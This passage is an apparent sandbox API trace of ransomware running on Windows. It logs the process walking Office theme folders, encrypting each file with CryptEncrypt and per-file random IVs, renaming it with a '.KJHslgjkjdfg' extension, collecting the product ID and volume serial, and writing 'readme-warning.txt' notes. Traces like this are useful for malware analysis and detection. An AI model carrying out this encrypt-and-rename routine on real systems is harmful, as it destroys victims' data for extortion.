out: phKey=0x4dfefec*=0x2f18308) returned 1 [0174.701] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0174.701] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.701] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4162, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x4162, lpOverlapped=0x0) returned 1 [0174.702] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x4170, dwBufLen=0x4170 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x4170) returned 1 [0174.702] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.702] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4170, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x4170, lpOverlapped=0x0) returned 1 [0174.702] CryptDestroyKey (hKey=0x2f18308) returned 1 [0174.703] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x4244, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.703] SetEndOfFile (hFile=0x12c) returned 1 [0174.705] GetProcessHeap () returned 0x2ef0000 [0174.705] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0174.705] GetProcessHeap () returned 0x2ef0000 [0174.705] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0174.705] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0174.706] CloseHandle (hObject=0x12c) returned 1 [0174.747] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4162, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0174.748] GetProcessHeap () returned 0x2ef0000 [0174.748] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0174.748] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0174.748] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c898, pdwDataLen=0x4dfee20) returned 1 [0174.748] CryptDestroyKey (hKey=0x2f18308) returned 1 [0174.748] GetProcessHeap () returned 0x2ef0000 [0174.748] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0174.748] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0174.748] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfee20) returned 1 [0174.748] CryptDestroyKey (hKey=0x2f18308) returned 1 [0174.748] GetProcessHeap () returned 0x2ef0000 [0174.748] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f14588 [0174.748] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0174.748] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14588, pdwDataLen=0x4dfee20 | out: pbData=0x2f14588, pdwDataLen=0x4dfee20) returned 1 [0174.748] CryptDestroyKey (hKey=0x2f18308) returned 1 [0174.748] GetProcessHeap () returned 0x2ef0000 [0174.748] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0174.748] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0174.748] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfea00 | out: pbData=0x2f0c928, pdwDataLen=0x4dfea00) returned 1 [0174.748] CryptDestroyKey (hKey=0x2f18308) returned 1 [0174.749] GetProcessHeap () returned 0x2ef0000 [0174.749] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0174.749] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0174.749] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea00 | out: pbData=0x2f11728, pdwDataLen=0x4dfea00) returned 1 [0174.749] CryptDestroyKey (hKey=0x2f18308) returned 1 [0174.749] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe9fc | out: phkResult=0x4dfe9fc*=0x12c) returned 0x0 [0174.749] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfea08, lpcbData=0x4dfea04*=0x400 | out: lpType=0x0, lpData=0x4dfea08*=0x30, lpcbData=0x4dfea04*=0x18) returned 0x0 [0174.749] RegCloseKey (hKey=0x12c) returned 0x0 [0174.749] GetProcessHeap () returned 0x2ef0000 [0174.749] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0174.749] GetProcessHeap () returned 0x2ef0000 [0174.749] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0174.749] GetProcessHeap () returned 0x2ef0000 [0174.749] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0174.749] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0174.749] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe7d4 | out: pbData=0x2f11728, pdwDataLen=0x4dfe7d4) returned 1 [0174.749] CryptDestroyKey (hKey=0x2f18308) returned 1 [0174.749] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0174.749] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0174.750] GetProcessHeap () returned 0x2ef0000 [0174.750] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0174.750] wsprintfA (in: param_1=0x4dfea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0174.750] wsprintfA (in: param_1=0x4dfee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0174.750] GetProcessHeap () returned 0x2ef0000 [0174.750] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f11d10 [0174.750] wsprintfW (in: param_1=0x4dfddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\readme-warning.txt") returned 82 [0174.750] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0174.751] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11d10*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f11d10*, lpNumberOfBytesWritten=0x4dfddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0174.752] CloseHandle (hObject=0x12c) returned 1 [0174.752] GetProcessHeap () returned 0x2ef0000 [0174.752] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0174.752] GetProcessHeap () returned 0x2ef0000 [0174.752] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11d10 | out: hHeap=0x2ef0000) returned 1 [0174.752] GetProcessHeap () returned 0x2ef0000 [0174.753] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0174.753] GetProcessHeap () returned 0x2ef0000 [0174.753] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0174.753] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0174.753] GetProcessHeap () returned 0x2ef0000 [0174.753] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f10788 | out: hHeap=0x2ef0000) returned 1 [0174.753] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="QUAD", cAlternateFileName="")) returned 1 [0174.753] GetProcessHeap () returned 0x2ef0000 [0174.753] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8a) returned 0x2f425d0 [0174.753] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0174.753] GetProcessHeap () returned 0x2ef0000 [0174.753] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f425d0 | out: hHeap=0x2ef0000) returned 1 [0174.753] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0174.753] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x59f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0174.753] GetProcessHeap () returned 0x2ef0000 [0174.753] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x28c) returned 0x2f10788 [0174.754] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0174.754] GetProcessHeap () returned 0x2ef0000 [0174.754] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0174.754] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0174.754] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0174.754] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x1, lpOverlapped=0x0) returned 1 [0174.929] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0174.929] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0174.929] GetProcessHeap () returned 0x2ef0000 [0174.929] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0174.929] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0174.929] CryptDestroyKey (hKey=0x2f18308) returned 1 [0174.929] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0174.929] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0174.929] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0174.929] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0174.930] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0174.930] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0174.930] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0174.930] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0174.930] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.930] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x59f, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x59f, lpOverlapped=0x0) returned 1 [0174.930] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x5a0, dwBufLen=0x5a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x5a0) returned 1 [0174.930] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.930] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x5a0, lpOverlapped=0x0) returned 1 [0174.930] CryptDestroyKey (hKey=0x2f18308) returned 1 [0174.930] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x674, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.930] SetEndOfFile (hFile=0x12c) returned 1 [0174.933] GetProcessHeap () returned 0x2ef0000 [0174.933] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0174.933] GetProcessHeap () returned 0x2ef0000 [0174.933] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0174.933] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif.kjhslgjkjdfg")) returned 1 [0174.935] CloseHandle (hObject=0x12c) returned 1 [0174.935] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b366a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a8037d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b366a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbba7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="QUAD.ELM", cAlternateFileName="")) returned 1 [0174.935] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0174.936] GetProcessHeap () returned 0x2ef0000 [0174.936] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0174.936] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0174.936] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0174.936] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x9, lpOverlapped=0x0) returned 1 [0176.244] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0176.244] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0176.244] GetProcessHeap () returned 0x2ef0000 [0176.244] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0176.244] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30) returned 1 [0176.244] CryptDestroyKey (hKey=0x2f18308) returned 1 [0176.245] WriteFile (in: hFile=0x12c, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfefe8*=0x30, lpOverlapped=0x0) returned 1 [0176.245] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0176.245] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0176.245] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0176.245] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0176.245] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0176.245] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0176.245] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0176.245] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.246] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xbba7, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0xbba7, lpOverlapped=0x0) returned 1 [0176.271] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xbbb0, dwBufLen=0xbbb0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xbbb0) returned 1 [0176.271] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.272] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xbbb0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0xbbb0, lpOverlapped=0x0) returned 1 [0176.272] CryptDestroyKey (hKey=0x2f18308) returned 1 [0176.272] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xbc74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.272] SetEndOfFile (hFile=0x12c) returned 1 [0176.275] GetProcessHeap () returned 0x2ef0000 [0176.275] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0176.275] GetProcessHeap () returned 0x2ef0000 [0176.275] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0176.275] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.elm.kjhslgjkjdfg")) returned 1 [0176.404] CloseHandle (hObject=0x12c) returned 1 [0176.404] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="QUAD.INF", cAlternateFileName="")) returned 1 [0176.404] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c 